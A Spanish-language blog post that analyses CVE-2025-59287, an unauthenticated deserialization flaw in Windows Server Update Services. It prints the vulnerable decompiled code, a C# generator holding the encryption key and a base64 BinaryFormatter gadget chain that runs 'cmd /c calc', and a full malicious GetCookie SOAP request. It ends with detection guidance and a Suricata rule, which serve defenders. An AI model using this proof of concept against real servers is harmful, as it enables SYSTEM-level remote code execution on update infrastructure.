CVE-2025-59287 Deserialización Insegura en WSUS

CVE-2025-59287: La vulnerabilidad de deserialización en WSUS

Tiempo estimado de lectura: 8 minutos
Dificultad técnica: Alta

Conclusiones clave

  • La vulnerabilidad CVE-2025-59287 permite a un atacante no autenticado ejecutar código de forma remota en servidores WSUS.
  • Las solicitudes maliciosas pueden desencadenar una deserialización insegura mediante el uso de payloads específicos en solicitudes SOAP.
  • Microsoft lanzó un parche de emergencia para mitigar los riesgos el 23 y 24 de octubre de 2025.
  • Se recomienda a los administradores de sistemas implementar controles de seguridad adecuados y monitorear el tráfico hacia WSUS.

Índice

  1. Descripción de la vulnerabilidad
  2. Fechas clave
  3. Detalles técnicos de la vulnerabilidad
  4. Detección práctica e IOCs

Descripción de la vulnerabilidad

La vulnerabilidad CVE-2025-59287 representa una deserialización insegura en el servicio de Windows Server Update Services (WSUS). Esta falla permite a un atacante no autenticado, a través de solicitudes dirigidas al endpoint de WSUS, desencadenar la deserialización de datos malformados, logrando así ejecución remota con los privilegios del servicio.

Fechas clave

  • 14 de octubre de 2025: NVD publica la entrada del CVE (CWE-502, deserialización).
  • 18 de octubre de 2025: HawkTrace presenta su análisis técnico.
  • 20-23 de octubre de 2025: Proveedores y equipos de CTI emiten alertas.
  • 23-24 de octubre de 2025: Microsoft lanza un parche OOB para WSUS.
  • 24 de octubre de 2025 en adelante: Equipos como Huntress comienzan a reportar observaciones de explotación en el entorno.

Detalles técnicos de la vulnerabilidad

La vulnerabilidad reside en la forma en que WSUS maneja ciertas entradas externas (solicitudes SOAP/HTTP). En este contexto, WSUS recibe datos que incluyen objetos serializados. A través de un análisis del flujo de ejecución, se observa que cuando el usuario envía una solicitud, se procesa mediante el método GetCookie:

public Cookie GetCookie (AuthorizationCookie[] authCookies, Cookie oldCookie, DateTime lastChange, DateTime currentTime, string protocolVersion) {
    if (Client.clientImplementation == null) { 
        Client.CreateClientImplementation(); 
    }
    string ipaddress = this.GetIPAddress(); 
    return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, currentTime, protocolVersion, ipaddress); 
}

Este método lleva a cabo diversas operaciones, incluyendo la verificación de si la cookie está vacía y la validación de la versión del protocolo. El flujo continúa hacia el método DecryptData, donde ocurre la deserialización potencialmente insegura.

internal object DecryptData (byte[] cookieData) {
    if (cookieData == null) { 
        throw new LoggedArgumentNullException("cookieData"); 
    }
    ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor(); 
    byte[] array; 
    try { 
        if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize) { 
            throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData"); 
        }
        array = new byte[cookieData.Length - cryptoTransform.InputBlockSize]; 
        cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0); 
        cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0); 
    } finally { 
        cryptoTransform.Dispose(); 
    }
    object obj = null; 
    if (this.classType == typeof(UnencryptedCookieData)) { 
        UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData(); 
        try { 
            unencryptedCookieData.Deserialize(array); 
        } catch (Exception ex) { 
            if (ex is OutOfMemoryException) { 
                throw; 
            } 
            throw new LoggedArgumentException(ex.ToString(), "cookieData"); 
        } 
        obj = unencryptedCookieData; 
    } else { 
        BinaryFormatter binaryFormatter = new BinaryFormatter(); 
        MemoryStream memoryStream = new MemoryStream(array); 
        try { 
            obj = binaryFormatter.Deserialize(memoryStream); 
        } catch (Exception ex2) { 
            if (ex2 is OutOfMemoryException) { 
                throw; 
            } 
            throw new LoggedArgumentException(ex2.ToString(), "cookieData"); 
        } 
        if (obj.GetType() != this.classType) { 
            throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData"); 
        } 
    } 
    return obj; 
}

Este método muestra los riesgos de deserialización en la ejecución de código. Un código de ejemplo para generar un payload se puede ver a continuación:

static void Main() {
    //clave
    string hexKey = "877C14E433638145AD21BD0C17393071"; 
    byte[] key = new byte[16]; 
    for (int i = 0; i < 16; i++) 
        key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16); 
    
    string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";
    byte[] ser = Convert.FromBase64String(ysooo); 
    byte[] enc = EncryptPayload(ser, key); 
    string base64Payload = Convert.ToBase64String(enc); 
    Console.WriteLine(base64Payload); 
}

Este código genera un objeto serializado que, al ser descifrado y deserializado por el servidor vulnerable, ejecutará código arbitrario a través de una cadena de gadgets. Un ejemplo de la solicitud maliciosa está a continuación:

POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632


 
     
         
             
                 
                    SimpleTargeting 
                     [GENERATED PAYLOAD]  
                 
             
             
            1.20 
         
    

Este conjunto de vulnerabilidades y comportamientos permite a un atacante ejecutar código remoto con privilegios de SYSTEM sin la debida validación. Los administradores de WSUS deberían considerar medidas preventivas y parches de seguridad para mitigar estos riesgos en sus entornos.

Detección práctica e IOCs

Detección de tráfico en red / IIS
Busca solicitudes POST hacia /ClientWebService/Client.asmx con el SOAPAction: GetCookie y CookieData que, al ser decodificados en Base64, comiencen con AAEAAAD///// o contengan /c ....

Regla Suricata sugerida:

alert http any any -> $HOME_NET 8530 (msg:"WSUS - posible payload de BinaryFormatter (calc)"; flow :to_server,established; http.method ; content : "/ClientWebService/Client.asmx" ; http.header ; content : "GetCookie" ; pcre: "/CookieData>[^<]*AAEAAAD/////|/c calc/i" ; sid: 1003001 ; rev: 1 ;)

Detección de ejecución en host (Sysmon/EventID)
Utiliza:

  • Sysmon EventID 1 (Creación de proceso): para identificar procesos cmd.exe o calc.exe que sean generados...

Referencias

Avatar

Por Mid